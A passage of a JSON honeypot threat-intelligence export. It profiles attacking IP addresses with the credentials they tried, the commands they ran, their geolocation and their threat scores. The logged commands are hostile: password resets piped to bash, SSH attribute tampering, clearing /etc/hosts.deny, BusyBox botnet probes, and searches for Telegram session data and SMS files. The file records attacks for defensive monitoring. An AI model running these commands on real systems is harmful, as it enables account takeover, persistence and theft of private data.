        "last_seen_30d": "2026-03-02T21:46:12.684000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 45
      }
    },
    "83.147.29.239": {
      "attack_count": 94,
      "first_seen": "2026-03-26T18:13:59.968Z",
      "last_seen": "2026-03-26T18:42:52.348Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "java",
        "345gs5662d34",
        "hyun",
        "root",
        "tmp",
        "yy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "a111222",
        "hyunpass",
        "java123!",
        "password",
        "tmp1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"java123!\\nRRc1wJUR8vET\\nRRc1wJUR8vET\\n\"|passwd",
        "echo -e \"java123!\\nRRc1wJUR8vET\\nRRc1wJUR8vET\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 203758,
      "as_org": "Eugamehost Ltd",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:13:59.968000+00:00",
        "last_seen_30d": "2026-03-26T18:44:01.173000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "2.27.63.102": {
      "attack_count": 93,
      "first_seen": "2026-03-30T16:09:59.371Z",
      "last_seen": "2026-03-30T16:58:27.092Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234.abcd",
        "12344321",
        "Abc123++",
        "Qwer1234",
        "echina0228",
        "huanmu12345",
        "xdhx147258"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:f2gvr6nXPLpm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 210457,
      "as_org": "Kyonix Networks Limited",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T16:09:59.371000+00:00",
        "last_seen_30d": "2026-03-30T16:59:31.232000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 21
      }
    },
    "197.251.195.80": {
      "attack_count": 68,
      "first_seen": "2026-03-03T06:40:42.306Z",
      "last_seen": "2026-03-03T07:08:04.316Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123@Test",
        "3245gs5662d34",
        "345gs5662d34",
        "Linux@321",
        "P4$$W0rd",
        "P@ssw0rd7",
        "Welcome1@",
        "Zh123456",
        "aa",
        "aa11",
        "minecraft1",
        "qwe123456."
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 29614,
      "as_org": "VODAFONE GHANA AS INTERNATIONAL TRANSIT",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:40:42.306000+00:00",
        "last_seen_30d": "2026-03-03T07:09:09.752000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 30
      }
    },
    "220.201.139.98": {
      "attack_count": 62,
      "first_seen": "2026-03-24T13:16:22.314Z",
      "last_seen": "2026-03-24T13:18:55.544Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T13:16:22.314000+00:00",
        "last_seen_30d": "2026-03-24T13:19:59.096000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 32
      }
    },
    "157.230.49.107": {
      "attack_count": 48,
      "first_seen": "2026-03-09T15:21:09.877Z",
      "last_seen": "2026-03-09T15:29:46.947Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "pass",
        "root",
        "root123",
        "root321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:21:09.877000+00:00",
        "last_seen_30d": "2026-03-09T15:30:49.261000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 17
      }
    },
    "159.89.103.19": {
      "attack_count": 42,
      "first_seen": "2026-03-09T01:59:00.866Z",
      "last_seen": "2026-03-09T01:59:02.749Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "GET /v2/_catalog HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 5,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T12:32:11+00:00",
        "last_seen_30d": "2026-03-12T16:38:01.107000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Cowrie": 42,
        "Honeytrap": 29,
        "H0neytr4p": 1
      }
    },
    "125.132.34.65": {
      "attack_count": 36,
      "first_seen": "2026-03-14T21:11:27.767Z",
      "last_seen": "2026-03-14T21:13:15.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T21:11:27.767000+00:00",
        "last_seen_30d": "2026-03-14T21:14:21.596000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "34.79.33.199": {
      "attack_count": 35,
      "first_seen": "2026-03-17T09:24:51.059Z",
      "last_seen": "2026-03-17T09:25:13.169Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T09:24:51.059000+00:00",
        "last_seen_30d": "2026-03-17T09:26:23.515000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 20
      }
    },
    "60.19.243.82": {
      "attack_count": 32,
      "first_seen": "2026-03-19T12:18:52.142Z",
      "last_seen": "2026-03-19T12:20:44.766Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T12:18:52.142000+00:00",
        "last_seen_30d": "2026-03-19T12:21:52.284000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "47.85.99.90": {
      "attack_count": 30,
      "first_seen": "2026-03-08T23:09:33.983Z",
      "last_seen": "2026-03-08T23:14:08.269Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:09:33.983000+00:00",
        "last_seen_30d": "2026-03-08T23:15:13.204000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "119.203.251.187": {
      "attack_count": 23,
      "first_seen": "2026-03-04T22:43:22.372Z",
      "last_seen": "2026-03-04T22:43:27.443Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Daejeon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:43:22.372000+00:00",
        "last_seen_30d": "2026-03-04T22:44:36.681000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "38.188.160.74": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:28:23.136Z",
      "last_seen": "2026-03-11T00:32:39.352Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "190885",
        "221091",
        "hortensia",
        "mec"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:28:23.136000+00:00",
        "last_seen_30d": "2026-03-11T00:33:43.040000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "180.76.225.49": {
      "attack_count": 22,
      "first_seen": "2026-03-17T06:14:49.966Z",
      "last_seen": "2026-03-25T05:57:05.732Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:14:49.966000+00:00",
        "last_seen_30d": "2026-03-25T05:58:09.082000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 20
      }
    },
    "65.186.8.21": {
      "attack_count": 22,
      "first_seen": "2026-03-20T19:57:53.261Z",
      "last_seen": "2026-03-20T19:57:57.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "cat1029",
        "ipcam_rt5350",
        "meinsm"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox JTRTA",
        "cat /proc/mounts; /bin/busybox JTRTA",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JTRTA",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox JTRTA",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Evansville",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:57:53.261000+00:00",
        "last_seen_30d": "2026-03-20T19:58:59.357000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 2
      }
    },
    "43.224.248.178": {
      "attack_count": 21,
      "first_seen": "2026-03-02T01:59:45.337Z",
      "last_seen": "2026-03-02T02:02:51.278Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:59:45.337000+00:00",
        "last_seen_30d": "2026-03-02T02:04:00.972000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "36.89.252.58": {
      "attack_count": 16,
      "first_seen": "2026-03-08T03:09:13.546Z",
      "last_seen": "2026-03-17T23:09:44.324Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "12345",
        "admin"
      ],
      "commands_executed": [
        "/ip cloud print"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:09:13.546000+00:00",
        "last_seen_30d": "2026-03-17T23:10:51.221000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "45.156.87.24": {
      "attack_count": 14,
      "first_seen": "2026-03-11T22:28:51.082Z",
      "last_seen": "2026-03-12T15:24:04.028Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 79.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.3,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 429,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T05:36:28.033000+00:00",
        "last_seen_30d": "2026-03-31T18:07:06.733000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 269,
        "Adbhoney": 90,
        "Honeyaml": 56,
        "Cowrie": 14
      }
    },
    "34.52.209.226": {
      "attack_count": 10,
      "first_seen": "2026-03-11T12:50:24.106Z",
      "last_seen": "2026-03-11T12:50:37.627Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:50:24.106000+00:00",
        "last_seen_30d": "2026-03-11T12:51:41.944000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "64.62.197.107": {
      "attack_count": 7,
      "first_seen": "2026-03-12T14:27:32.031Z",
      "last_seen": "2026-03-23T13:48:18.889Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 353,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-02T00:51:28+00:00",
        "last_seen_30d": "2026-03-31T12:09:24.003000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 203,
        "Honeytrap": 92,
        "Redishoneypot": 22,
        "H0neytr4p": 9,
        "Cowrie": 7,
        "Dionaea": 6,
        "Mailoney": 6,
        "Tanner": 3,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "66.132.172.190": {
      "attack_count": 6,
      "first_seen": "2026-03-31T21:35:48.105Z",
      "last_seen": "2026-03-31T21:36:31.462Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 74.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 12,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-20T20:27:23+00:00",
        "last_seen_30d": "2026-03-31T21:37:36.100000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 27,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "8.219.93.189": {
      "attack_count": 6,
      "first_seen": "2026-03-20T17:45:57.899Z",
      "last_seen": "2026-03-24T23:16:17.192Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T17:45:57.899000+00:00",
        "last_seen_30d": "2026-03-24T23:17:25.956000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "87.236.176.197": {
      "attack_count": 6,
